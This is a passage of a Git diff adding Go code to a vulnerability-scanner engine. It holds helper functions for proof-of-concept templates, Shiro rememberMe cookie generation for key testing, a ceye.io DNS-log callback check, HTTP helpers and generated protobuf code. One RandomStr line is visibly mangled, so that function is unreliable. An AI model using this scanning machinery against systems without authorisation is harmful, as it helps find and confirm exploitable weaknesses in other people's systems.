+ },
+ },
+ &functions.Overload{
+ Operator: "randomLowercase_int",
+ Unary: func(value ref.Val) ref.Val {
+ n, ok := value.(types.Int)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
+ }
+ return types.String(randomLowercase(int(n)))
+ },
+ },
+ &functions.Overload{
+ Operator: "randomUppercase_int",
+ Unary: func(value ref.Val) ref.Val {
+ n, ok := value.(types.Int)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
+ }
+ return types.String(randomUppercase(int(n)))
+ },
+ },
+ &functions.Overload{
+ Operator: "randomString_int",
+ Unary: func(value ref.Val) ref.Val {
+ n, ok := value.(types.Int)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
+ }
+ return types.String(randomString(int(n)))
+ },
+ },
+ &functions.Overload{
+ Operator: "base64_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
+ }
+ return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
+ },
+ },
+ &functions.Overload{
+ Operator: "base64_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
+ }
+ return types.String(base64.StdEncoding.EncodeToString(v))
+ },
+ },
+ &functions.Overload{
+ Operator: "base64Decode_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
+ }
+ decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeBytes)
+ },
+ },
+ &functions.Overload{
+ Operator: "base64Decode_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
+ }
+ decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeBytes)
+ },
+ },
+ &functions.Overload{
+ Operator: "urlencode_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
+ }
+ return types.String(url.QueryEscape(string(v)))
+ },
+ },
+ &functions.Overload{
+ Operator: "urlencode_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
+ }
+ return types.String(url.QueryEscape(string(v)))
+ },
+ },
+ &functions.Overload{
+ Operator: "urldecode_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
+ }
+ decodeString, err := url.QueryUnescape(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeString)
+ },
+ },
+ &functions.Overload{
+ Operator: "urldecode_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
+ }
+ decodeString, err := url.QueryUnescape(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeString)
+ },
+ },
+ &functions.Overload{
+ Operator: "substr_string_int_int",
+ Function: func(values ...ref.Val) ref.Val {
+ if len(values) == 3 {
+ str, ok := values[0].(types.String)
+ if !ok {
+ return types.NewErr("invalid string to 'substr'")
+ }
+ start, ok := values[1].(types.Int)
+ if !ok {
+ return types.NewErr("invalid start to 'substr'")
+ }
+ length, ok := values[2].(types.Int)
+ if !ok {
+ return types.NewErr("invalid length to 'substr'")
+ }
+ runes := []rune(str)
+ if start < 0 || length < 0 || int(start+length) > len(runes) {
+ return types.NewErr("invalid start or length to 'substr'")
+ }
+ return types.String(runes[start : start+length])
+ } else {
+ return types.NewErr("too many arguments to 'substr'")
+ }
+ },
+ },
+ &functions.Overload{
+ Operator: "reverse_wait_int",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ reverse, ok := lhs.Value().(*Reverse)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
+ }
+ timeout, ok := rhs.Value().(int64)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
+ }
+ return types.Bool(reverseCheck(reverse, timeout))
+ },
+ },
+ &functions.Overload{
+ Operator: "icontains_string",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
+ }
+ v2, ok := rhs.(types.String)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
+ }
+ // 不区分大小写包含
+ return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
+ },
+ },
+ &functions.Overload{
+ Operator: "tongda_date",
+ Function: func(value ...ref.Val) ref.Val {
+ return types.String(time.Now().Format("0601"))
+ },
+ },
+ &functions.Overload{
+ Operator: "shiro_key",
+ Binary: func(key ref.Val, mode ref.Val) ref.Val {
+ v1, ok := key.(types.String)
+ if !ok {
+ return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
+ }
+ v2, ok := mode.(types.String)
+ if !ok {
+ return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
+ }
+ cookie := GetShrioCookie(string(v1), string(v2))
+ if cookie == "" {
+ return types.NewErr("%v", "key b64decode failed")
+ }
+ return types.String(cookie)
+ },
+ },
+ &functions.Overload{
+ Operator: "startsWith_bytes",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
+ }
+ v2, ok := rhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
+ }
+ // 不区分大小写包含
+ return types.Bool(bytes.HasPrefix(v1, v2))
+ },
+ },
+ &functions.Overload{
+ Operator: "startsWith_string",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
+ }
+ v2, ok := rhs.(types.String)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
+ }
+ // 不区分大小写包含
+ return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
+ },
+ },
+ &functions.Overload{
+ Operator: "hexdecode",
+ Unary: func(lhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
+ }
+ out, err := hex.DecodeString(string(v1))
+ if err != nil {
+ return types.ValOrErr(lhs, "hexdecode error: %v", err)
+ }
+ // 不区分大小写包含
+ return types.Bytes(out)
+ },
+ },
+ ),
+ }
+ return c
+}
+
+// 声明环境中的变量类型和函数
+func (c *CustomLib) CompileOptions() []cel.EnvOption {
+ return c.envOptions
+}
+
+func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
+ return c.programOptions
+}
+
+func (c *CustomLib) UpdateCompileOptions(args StrMap) {
+ for _, item := range args {
+ k, v := item.Key, item.Value
+ // 在执行之前是不知道变量的类型的,所以统一声明为字符型
+ // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
+ var d *exprpb.Decl
+ if strings.HasPrefix(v, "randomInt") {
+ d = decls.NewIdent(k, decls.Int, nil)
+ } else if strings.HasPrefix(v, "newReverse") {
+ d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
+ } else {
+ d = decls.NewIdent(k, decls.String, nil)
+ }
+ c.envOptions = append(c.envOptions, cel.Declarations(d))
+ }
+}
+
+var randSource = rand.New(rand.NewSource(time.Now().Unix()))
+
+func randomLowercase(n int) string {
+ lowercase := "abcdefghijklmnopqrstuvwxyz"
+ return RandomStr(randSource, lowercase, n)
+}
+
+func randomUppercase(n int) string {
+ uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ return RandomStr(randSource, uppercase, n)
+}
+
+func randomString(n int) string {
+ charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+ return RandomStr(randSource, charset, n)
+}
+
+func reverseCheck(r *Reverse, timeout int64) bool {
+ if ceyeApi == "" || r.Domain == "" || !app.DnsLog {
+ return false
+ }
+ time.Sleep(time.Second * time.Duration(timeout))
+ sub := strings.Split(r.Domain, ".")[0]
+ urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
+ //fmt.Println(urlStr)
+ req, _ := http.NewRequest("GET", urlStr, nil)
+ resp, err := DoRequest(req, false)
+ if err != nil {
+ return false
+ }
+
+ if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
+ fmt.Println(urlStr)
+ return true
+ }
+ return false
+}
+
+func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
+ const (
+ letterIdxBits = 6 // 6 bits to represent a letter index
+ letterIdxMask = 1<= 0; {
+ if remain == 0 {
+ cache, remain = randSource.Int63(), letterIdxMax
+ }
+ if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
+ randBytes[i] = letterBytes[idx]
+ i--
+ }
+ cache >>= letterIdxBits
+ remain--
+ }
+ return string(randBytes)
+}
+
+func DoRequest(req *http.Request, redirect bool) (*Response, error) {
+ if req.Body == nil || req.Body == http.NoBody {
+ } else {
+ req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
+ if req.Header.Get("Content-Type") == "" {
+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+ }
+ }
+ var oResp *http.Response
+ var err error
+ if redirect {
+ oResp, err = Client.Do(req)
+ } else {
+ oResp, err = ClientNoRedirect.Do(req)
+ }
+ if err != nil {
+ //fmt.Println("[-]DoRequest error: ",err)
+ return nil, err
+ }
+ defer oResp.Body.Close()
+ resp, err := ParseResponse(oResp)
+ if err != nil {
+ fmt.Println("[-] ParseResponse error: " + err.Error())
+ //return nil, err
+ }
+ return resp, err
+}
+
+func ParseUrl(u *url.URL) *UrlType {
+ nu := &UrlType{}
+ nu.Scheme = u.Scheme
+ nu.Domain = u.Hostname()
+ nu.Host = u.Host
+ nu.Port = u.Port()
+ nu.Path = u.EscapedPath()
+ nu.Query = u.RawQuery
+ nu.Fragment = u.Fragment
+ return nu
+}
+
+func ParseRequest(oReq *http.Request) (*Request, error) {
+ req := &Request{}
+ req.Method = oReq.Method
+ req.Url = ParseUrl(oReq.URL)
+ header := make(map[string]string)
+ for k := range oReq.Header {
+ header[k] = oReq.Header.Get(k)
+ }
+ req.Headers = header
+ req.ContentType = oReq.Header.Get("Content-Type")
+ if oReq.Body == nil || oReq.Body == http.NoBody {
+ } else {
+ data, err := io.ReadAll(oReq.Body)
+ if err != nil {
+ return nil, err
+ }
+ req.Body = data
+ oReq.Body = io.NopCloser(bytes.NewBuffer(data))
+ }
+ return req, nil
+}
+
+func ParseResponse(oResp *http.Response) (*Response, error) {
+ var resp Response
+ header := make(map[string]string)
+ resp.Status = int32(oResp.StatusCode)
+ resp.Url = ParseUrl(oResp.Request.URL)
+ for k := range oResp.Header {
+ header[k] = strings.Join(oResp.Header.Values(k), ";")
+ }
+ resp.Headers = header
+ resp.ContentType = oResp.Header.Get("Content-Type")
+ body, _ := getRespBody(oResp)
+ resp.Body = body
+ return &resp, nil
+}
+
+func getRespBody(oResp *http.Response) (body []byte, err error) {
+ body, err = io.ReadAll(oResp.Body)
+ if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
+ reader, err1 := gzip.NewReader(bytes.NewReader(body))
+ if err1 == nil {
+ body, err = io.ReadAll(reader)
+ }
+ }
+ if err == io.EOF {
+ err = nil
+ }
+ return
+}
diff --git a/core/pocScan/lib/http.pb.go b/core/pocScan/lib/http.pb.go
new file mode 100644
index 0000000..8a593f7
--- /dev/null
+++ b/core/pocScan/lib/http.pb.go
@@ -0,0 +1,520 @@
+//go:generate protoc --go_out=. http.proto
+
+// Code generated by protoc-gen-go. DO NOT EDIT.
+// versions:
+// protoc-gen-go v1.26.0
+// protoc v3.20.3
+// source: http.proto
+
+package lib
+
+import (
+ protoreflect "google.golang.org/protobuf/reflect/protoreflect"
+ protoimpl "google.golang.org/protobuf/runtime/protoimpl"
+ reflect "reflect"
+ sync "sync"
+)
+
+const (
+ // Verify that this generated code is sufficiently up-to-date.
+ _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
+ // Verify that runtime/protoimpl is sufficiently up-to-date.
+ _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
+)
+
+type UrlType struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
+ Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
+ Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
+ Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
+ Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
+ Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
+ Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
+}
+
+func (x *UrlType) Reset() {
+ *x = UrlType{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[0]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *UrlType) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*UrlType) ProtoMessage() {}
+
+func (x *UrlType) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[0]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use UrlType.ProtoReflect.Descriptor instead.
+func (*UrlType) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{0}
+}
+
+func (x *UrlType) GetScheme() string {
+ if x != nil {
+ return x.Scheme
+ }
+ return ""
+}
+
+func (x *UrlType) GetDomain() string {
+ if x != nil {
+ return x.Domain
+ }
+ return ""
+}
+
+func (x *UrlType) GetHost() string {
+ if x != nil {
+ return x.Host
+ }
+ return ""
+}
+
+func (x *UrlType) GetPort() string {
+ if x != nil {
+ return x.Port
+ }
+ return ""
+}
+
+func (x *UrlType) GetPath() string {
+ if x != nil {
+ return x.Path
+ }
+ return ""
+}
+
+func (x *UrlType) GetQuery() string {
+ if x != nil {
+ return x.Query
+ }
+ return ""
+}
+
+func (x *UrlType) GetFragment() string {
+ if x != nil {
+ return x.Fragment
+ }
+ return ""
+}
+
+type Request struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+ Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
+ Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
+ ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
+ Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
+}
+
+func (x *Request) Reset() {
+ *x = Request{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[1]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Request) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Request) ProtoMessage() {}
+
+func (x *Request) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[1]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Request.ProtoReflect.Descriptor instead.
+func (*Request) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{1}
+}
+
+func (x *Request) GetUrl() *UrlType {
+ if x != nil {
+ return x.Url
+ }
+ return nil
+}
+
+func (x *Request) GetMethod() string {
+ if x != nil {
+ return x.Method
+ }
+ return ""
+}
+
+func (x *Request) GetHeaders() map[string]string {
+ if x != nil {
+ return x.Headers
+ }
+ return nil
+}
+
+func (x *Request) GetContentType() string {
+ if x != nil {
+ return x.ContentType
+ }
+ return ""
+}
+
+func (x *Request) GetBody() []byte {
+ if x != nil {
+ return x.Body
+ }
+ return nil
+}
+
+type Response struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+ Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
+ Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
+ ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
+ Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
+ Duration float64 `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
+}
+
+func (x *Response) Reset() {
+ *x = Response{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[2]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Response) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Response) ProtoMessage() {}
+
+func (x *Response) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[2]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Response.ProtoReflect.Descriptor instead.
+func (*Response) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{2}
+}
+
+func (x *Response) GetUrl() *UrlType {
+ if x != nil {
+ return x.Url
+ }
+ return nil
+}
+
+func (x *Response) GetStatus() int32 {
+ if x != nil {
+ return x.Status
+ }
+ return 0
+}
+
+func (x *Response) GetHeaders() map[string]string {
+ if x != nil {
+ return x.Headers
+ }
+ return nil
+}
+
+func (x *Response) GetContentType() string {
+ if x != nil {
+ return x.ContentType
+ }
+ return ""
+}
+
+func (x *Response) GetBody() []byte {
+ if x != nil {
+ return x.Body
+ }
+ return nil
+}
+
+func (x *Response) GetDuration() float64 {
+ if x != nil {
+ return x.Duration
+ }
+ return 0
+}
+
+type Reverse struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
+ Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
+ Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
+ IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
+}
+
+func (x *Reverse) Reset() {
+ *x = Reverse{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_http_proto_msgTypes[3]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Reverse) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Reverse) ProtoMessage() {}
+
+func (x *Reverse) ProtoReflect() protoreflect.Message {
+ mi := &file_http_proto_msgTypes[3]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Reverse.ProtoReflect.Descriptor instead.
+func (*Reverse) Descriptor() ([]byte, []int) {
+ return file_http_proto_rawDescGZIP(), []int{3}
+}
+
+func (x *Reverse) GetUrl() string {
+ if x != nil {
+ return x.Url
+ }
+ return ""
+}
+
+func (x *Reverse) GetDomain() string {
+ if x != nil {
+ return x.Domain
+ }
+ return ""
+}
+
+func (x *Reverse) GetIp() string {
+ if x != nil {
+ return x.Ip
+ }
+ return ""
+}
+
+func (x *Reverse) GetIsDomainNameServer() bool {
+ if x != nil {
+ return x.IsDomainNameServer
+ }
+ return false
+}
+
+var File_http_proto protoreflect.FileDescriptor
+
+var file_http_proto_rawDesc = []byte{
+ 0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69,
+ 0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
+ 0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73,
+ 0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
+ 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
+ 0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73,
+ 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65,
+ 0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12,
+ 0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07,
+ 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79,
+ 0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f,
+ 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12,
+ 0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b,
+ 0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48,
+ 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61,
+ 0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f,
+ 0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74,
+ 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18,
+ 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48,
+ 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,
+ 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a,
+ 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61,
+ 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
+ 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
+ 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07,
+ 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e,
+ 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61,
+ 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65,
+ 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79,
+ 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
+ 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20,
+ 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72,
+ 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72,
+ 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73,
+ 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
